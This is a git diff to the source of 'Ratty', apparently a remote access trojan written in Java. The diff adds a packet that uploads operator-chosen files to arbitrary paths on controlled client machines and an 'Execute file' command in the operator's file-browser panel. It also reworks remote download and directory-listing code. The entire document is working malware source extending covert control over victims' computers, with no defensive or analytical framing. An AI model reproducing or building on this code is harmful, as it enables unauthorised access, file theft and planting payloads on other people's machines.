diff --git a/Ratty/res/menu_icons_tree.png b/Ratty/res/menu_icons_tree.png index 74fa881..45da876 100644 Binary files a/Ratty/res/menu_icons_tree.png and b/Ratty/res/menu_icons_tree.png differ diff --git a/Ratty/src/de/sogomn/rat/packet/DownloadPacket.java b/Ratty/src/de/sogomn/rat/packet/DownloadPacket.java index ac084cb..becf010 100644 --- a/Ratty/src/de/sogomn/rat/packet/DownloadPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/DownloadPacket.java @@ -7,8 +7,10 @@ import de.sogomn.rat.ActiveClient; public final class DownloadPacket extends AbstractPingPongPacket { - private String path, fileName; + private String path; + private byte[] data; + private String fileName; public DownloadPacket(final String path) { this.path = path; @@ -30,8 +32,8 @@ public final class DownloadPacket extends AbstractPingPongPacket { @Override protected void sendData(final ActiveClient client) { client.writeInt(data.length); - client.writeUTF(fileName); client.write(data); + client.writeUTF(fileName); } @Override @@ -44,9 +46,11 @@ public final class DownloadPacket extends AbstractPingPongPacket { final int length = client.readInt(); data = new byte[length]; - fileName = client.readUTF(); client.read(data); + + fileName = client.readUTF(); + } @Override @@ -64,7 +68,6 @@ public final class DownloadPacket extends AbstractPingPongPacket { @Override protected void executeData(final ActiveClient client) { - FileUtils.createFile(fileName); FileUtils.writeData(fileName, data); } diff --git a/Ratty/src/de/sogomn/rat/packet/FileSystemPacket.java b/Ratty/src/de/sogomn/rat/packet/FileSystemPacket.java index c534101..e6af5a9 100644 --- a/Ratty/src/de/sogomn/rat/packet/FileSystemPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/FileSystemPacket.java @@ -9,6 +9,7 @@ import de.sogomn.rat.ActiveClient; public class FileSystemPacket extends AbstractPingPongPacket { private String rootFile; + private String[] paths; private static final byte INCOMING = 0; @@ -65,12 +66,12 @@ public class FileSystemPacket extends AbstractPingPongPacket { protected void executeRequest(final ActiveClient client) { final File[] children; - if (!rootFile.isEmpty()) { + if (rootFile.isEmpty() || rootFile.equals(File.separator)) { + children = File.listRoots(); + } else { final File file = new File(rootFile); children = file.listFiles(); - } else { - children = File.listRoots(); } if (children != null) { diff --git a/Ratty/src/de/sogomn/rat/packet/PacketType.java b/Ratty/src/de/sogomn/rat/packet/PacketType.java index a799a5f..df48f79 100644 --- a/Ratty/src/de/sogomn/rat/packet/PacketType.java +++ b/Ratty/src/de/sogomn/rat/packet/PacketType.java @@ -12,7 +12,8 @@ public enum PacketType { DESKTOP(7, DesktopStreamPacket.class), CLIPBOARD(8, ClipboardPacket.class), FILE(9, FileSystemPacket.class), - DOWNLOAD(10, DownloadPacket.class); + DOWNLOAD(10, DownloadPacket.class), + UPLOAD(11, UploadPacket.class); public final byte id; public final Class clazz; diff --git a/Ratty/src/de/sogomn/rat/packet/UploadPacket.java b/Ratty/src/de/sogomn/rat/packet/UploadPacket.java new file mode 100644 index 0000000..8835b4e --- /dev/null +++ b/Ratty/src/de/sogomn/rat/packet/UploadPacket.java @@ -0,0 +1,53 @@ +package de.sogomn.rat.packet; + +import java.io.File; + +import de.sogomn.engine.util.FileUtils; +import de.sogomn.rat.ActiveClient; + +public final class UploadPacket implements IPacket { + + private byte[] data; + private String folder, fileName; + + public UploadPacket(final String filePath, final String folder) { + this.folder = folder; + + final File file = new File(filePath); + + data = FileUtils.readExternalData(filePath); + fileName = file.getName(); + } + + public UploadPacket() { + folder = fileName = ""; + } + + @Override + public void send(final ActiveClient client) { + client.writeInt(data.length); + client.write(data); + client.writeUTF(folder); + client.writeUTF(fileName); + } + + @Override + public void receive(final ActiveClient client) { + final int length = client.readInt(); + + data = new byte[length]; + + client.read(data); + + folder = client.readUTF(); + fileName = client.readUTF(); + } + + @Override + public void execute(final ActiveClient client) { + final String path = folder + fileName; + + FileUtils.writeData(path, data); + } + +} diff --git a/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java b/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java index 44938a4..8eb8c39 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java +++ b/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java @@ -6,6 +6,8 @@ import java.awt.event.MouseAdapter; import java.awt.event.MouseEvent; import java.awt.image.BufferedImage; import java.io.File; +import java.util.stream.Collectors; +import java.util.stream.Stream; import javax.swing.Icon; import javax.swing.ImageIcon; @@ -16,6 +18,7 @@ import javax.swing.JPopupMenu; import javax.swing.JScrollPane; import javax.swing.JTree; import javax.swing.tree.DefaultMutableTreeNode; +import javax.swing.tree.DefaultTreeModel; import javax.swing.tree.TreeNode; import javax.swing.tree.TreePath; @@ -27,6 +30,7 @@ public final class FileTreePanel { private DefaultMutableTreeNode root; private JTree tree; + private DefaultTreeModel treeModel; private DefaultMutableTreeNode lastNodeClicked; private JScrollPane scrollPane; @@ -43,14 +47,15 @@ public final class FileTreePanel { public static final String REQUEST = "Show content"; public static final String DOWNLOAD = "Download file"; public static final String UPLOAD = "Upload file"; + public static final String EXECUTE = "Execute file"; public static final String DELETE = "Delete file"; - public static final String EXECUTE = "Execute file";//TODO Add public static final String NEW_FOLDER = "New folder"; public static final String[] COMMANDS = { REQUEST, DOWNLOAD, UPLOAD, + EXECUTE, DELETE, NEW_FOLDER }; @@ -59,6 +64,7 @@ public final class FileTreePanel { dialog = new JDialog(); root = new DefaultMutableTreeNode(ROOT_NAME); tree = new JTree(root); + treeModel = (DefaultTreeModel)tree.getModel(); scrollPane = new JScrollPane(tree, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED); menu = new JPopupMenu(); @@ -132,7 +138,7 @@ public final class FileTreePanel { return children; } - private DefaultMutableTreeNode getByName(final DefaultMutableTreeNode node, final String name) { + private DefaultMutableTreeNode getChildByName(final DefaultMutableTreeNode node, final String name) { final DefaultMutableTreeNode[] children = getChildren(node); for (final DefaultMutableTreeNode child : children) { @@ -152,7 +158,7 @@ public final class FileTreePanel { } final String name = path[0]; - final DefaultMutableTreeNode node = getByName(start, name); + final DefaultMutableTreeNode node = getChildByName(start, name); if (path.length == 1 || node == null) { return node; @@ -171,12 +177,12 @@ public final class FileTreePanel { final String name = path[0]; - DefaultMutableTreeNode node = getByName(root, name); + DefaultMutableTreeNode node = getChildByName(root, name); if (node == null) { node = new DefaultMutableTreeNode(name); - root.add(node); + treeModel.insertNodeInto(node, root, 0); } final String[] remainingPath = new String[path.length - 1]; @@ -185,6 +191,20 @@ public final class FileTreePanel { addAll(node, remainingPath); } + private String getPath(final DefaultMutableTreeNode end) { + final TreeNode[] parents = end.getPath(); + + final String path = Stream + .of(parents) + .skip(1) + .map(node -> (DefaultMutableTreeNode)node) + .map(DefaultMutableTreeNode::getUserObject) + .map(object -> (String)object) + .collect(Collectors.joining(File.separator)) + File.separator; + + return path; + } + public void addFile(final String... path) { addAll(root, path); } @@ -199,7 +219,7 @@ public final class FileTreePanel { final DefaultMutableTreeNode node = getByName(root, path); if (node != null) { - node.removeFromParent(); + treeModel.removeNodeFromParent(node); } } @@ -209,10 +229,6 @@ public final class FileTreePanel { removeFile(pathParts); } - public void clear() { - root.removeAllChildren(); - } - public void setVisible(final boolean state) { dialog.setVisible(state); } @@ -230,23 +246,23 @@ public final class FileTreePanel { return ""; } - final TreeNode[] parents = lastNodeClicked.getPath(); - final StringBuilder stringBuilder = new StringBuilder(); + final String path = getPath(lastNodeClicked); - for (final TreeNode node : parents) { - final DefaultMutableTreeNode parent = (DefaultMutableTreeNode)node; - final String name = (String)parent.getUserObject(); - - stringBuilder.append(name + File.separator); - } - - final String path = stringBuilder.toString(); + return path; + } + + public String getLastNodeClickedFolder() { + final String path; - if (path.startsWith(ROOT_NAME + File.separator)) { - return path.substring(ROOT_NAME.length() + 1); + if (!lastNodeClicked.isLeaf()) { + path = getPath(lastNodeClicked); } else { - return path; + final DefaultMutableTreeNode parent = (DefaultMutableTreeNode)lastNodeClicked.getParent(); + + path = getPath(parent); } + + return path; } } diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index 9a69ce6..599c382 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -1,8 +1,11 @@ package de.sogomn.rat.server.gui; import java.awt.image.BufferedImage; +import java.io.File; import java.util.ArrayList; +import javax.swing.JFileChooser; + import de.sogomn.rat.ActiveClient; import de.sogomn.rat.IClientObserver; import de.sogomn.rat.packet.ClipboardPacket; @@ -15,6 +18,7 @@ import de.sogomn.rat.packet.IPacket; import de.sogomn.rat.packet.InformationPacket; import de.sogomn.rat.packet.PopupPacket; import de.sogomn.rat.packet.ScreenshotPacket; +import de.sogomn.rat.packet.UploadPacket; import de.sogomn.rat.server.ActiveServer; import de.sogomn.rat.server.IServerObserver; import de.sogomn.rat.util.FrameEncoder.IFrame; @@ -22,6 +26,7 @@ import de.sogomn.rat.util.FrameEncoder.IFrame; public final class RattyGuiController implements IServerObserver, IClientObserver, IGuiController { private RattyGui gui; + private JFileChooser fileChooser; private ArrayList clients; private long nextId; @@ -29,6 +34,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve public RattyGuiController(final RattyGui gui) { this.gui = gui; + fileChooser = new JFileChooser(); clients = new ArrayList(); gui.setController(this); @@ -54,6 +60,16 @@ public final class RattyGuiController implements IServerObserver, IClientObserve return null; } + private File chooseFile() { + final int input = fileChooser.showOpenDialog(null); + + if (input == JFileChooser.APPROVE_OPTION) { + return fileChooser.getSelectedFile(); + } + + return null; + } + private IPacket getPacket(final String command, final ServerClient serverClient) { if (command == RattyGui.POPUP) { return PopupPacket.create(); @@ -72,6 +88,8 @@ public final class RattyGuiController implements IServerObserver, IClientObserve final String path = treePanel.getLastPathClicked(); final FileSystemPacket packet = new FileSystemPacket(path); + treePanel.removeFile(path); + return packet; } else if (command == FileTreePanel.DOWNLOAD) { final FileTreePanel treePanel = serverClient.getTreePanel(); @@ -79,6 +97,17 @@ public final class RattyGuiController implements IServerObserver, IClientObserve final DownloadPacket packet = new DownloadPacket(path); return packet; + } else if (command == FileTreePanel.UPLOAD) { + final File file = chooseFile(); + + if (file != null) { + final String localPath = file.getAbsolutePath(); + final FileTreePanel treePanel = serverClient.getTreePanel(); + final String path = treePanel.getLastNodeClickedFolder(); + final UploadPacket packet = new UploadPacket(localPath, path); + + return packet; + } } return null; @@ -103,8 +132,8 @@ public final class RattyGuiController implements IServerObserver, IClientObserve } private void handle(final ServerClient serverClient, final FileSystemPacket packet) { - final String[] paths = packet.getPaths(); final FileTreePanel treePanel = serverClient.getTreePanel(); + final String[] paths = packet.getPaths(); for (final String path : paths) { treePanel.addFile(path);